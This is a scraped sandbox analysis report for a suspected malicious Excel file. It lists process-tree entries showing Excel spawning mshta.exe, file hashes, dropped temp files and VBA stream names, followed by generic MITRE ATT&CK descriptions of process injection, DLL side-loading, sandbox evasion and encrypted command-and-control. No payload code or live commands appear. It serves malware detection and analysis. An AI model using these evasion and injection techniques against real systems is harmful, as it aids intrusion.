Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x390000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:26:39
Start date:	10/03/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\mshta.exe -Embedding
Imagebase:	0x380000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	04:26:48
Start date:	10/03/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff66ecd0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	04:27:00
Start date:	10/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\POETDB24-25771.xla.xlsx"
Imagebase:	0x390000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report POETDB24-25771.xla.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Temp\E6D2F9C4.tmp

C:\Users\user\AppData\Local\Temp\~DF05120D040C657F14.TMP

C:\Users\user\Desktop\~$POETDB24-25771.xla.xlsx

Static File Info

General

File Icon

Static OLE Info

General

OLE File "POETDB24-25771.xla.xlsx"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet2.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet3.cls, Stream Size: 977

General

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General

VBA Code

Streams

Windows Analysis Report
POETDB24-25771.xla.xlsx